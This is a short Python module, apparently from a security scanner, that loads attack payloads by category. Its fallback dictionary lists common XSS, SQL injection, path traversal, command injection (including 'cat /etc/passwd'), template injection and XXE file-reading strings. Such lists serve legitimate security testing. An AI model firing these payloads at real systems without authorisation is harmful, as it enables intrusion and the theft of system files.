import os
import random
import logging
logger = logging.getLogger("PayloadManager")
DATA_DIR = os.path.join(os.path.dirname(__file__), "data")
FALLBACK_PAYLOADS = {
"xss": ["<script>alert(1)</script>", "><img src=x onerror=alert(1)>", "<svg/onload=alert(1)>"],
"sqli": ["' OR 1=1--", "' UNION SELECT 1,2,3--", "admin' --"],
"lfi": ["../../../../etc/passwd", "../../../windows/win.ini"],
"rce": ["; id", "| cat /etc/passwd", "`whoami`"],
"ssti": ["{{7*7}}", "${7*7}"],
"xxe": ["<!DOCTYPE x [ <!ENTITY xxe SYSTEM 'file:///etc/passwd'> ]><foo>&xxe;</foo>"]
}
def get_payload_categories():
"""Returns list of available payload categories based on files and fallbacks."""
files = [f.replace(".txt", "") for f in os.listdir(DATA_DIR) if f.endswith(".txt")] if os.path.exists(DATA_DIR) else []
return list(set(files) | set(FALLBACK_PAYLOADS.keys()))
def get_payloads(category: str, limit: int = None, random_shuffle: bool = False):
"""
Retrieves payloads for a specific category from local files or fallback.
"""
payloads = []
file_path = os.path.join(DATA_DIR, f"{category}.txt")
if os.path.exists(file_path):
try:
with open(file_path, "r", encoding="utf-8", errors="ignore") as f:
payloads = [line.strip() for line in f if line.strip()]
except Exception as e:
logger.error(f"Error reading payloads for {category}: {e}")
if not payloads:
logger.warning(f"No local payloads found for {category}, using fallbacks.")
payloads = FALLBACK_PAYLOADS.get(category, [])
if random_shuffle:
random.shuffle(payloads)
if limit:
payloads = payloads[:limit]
return payloads
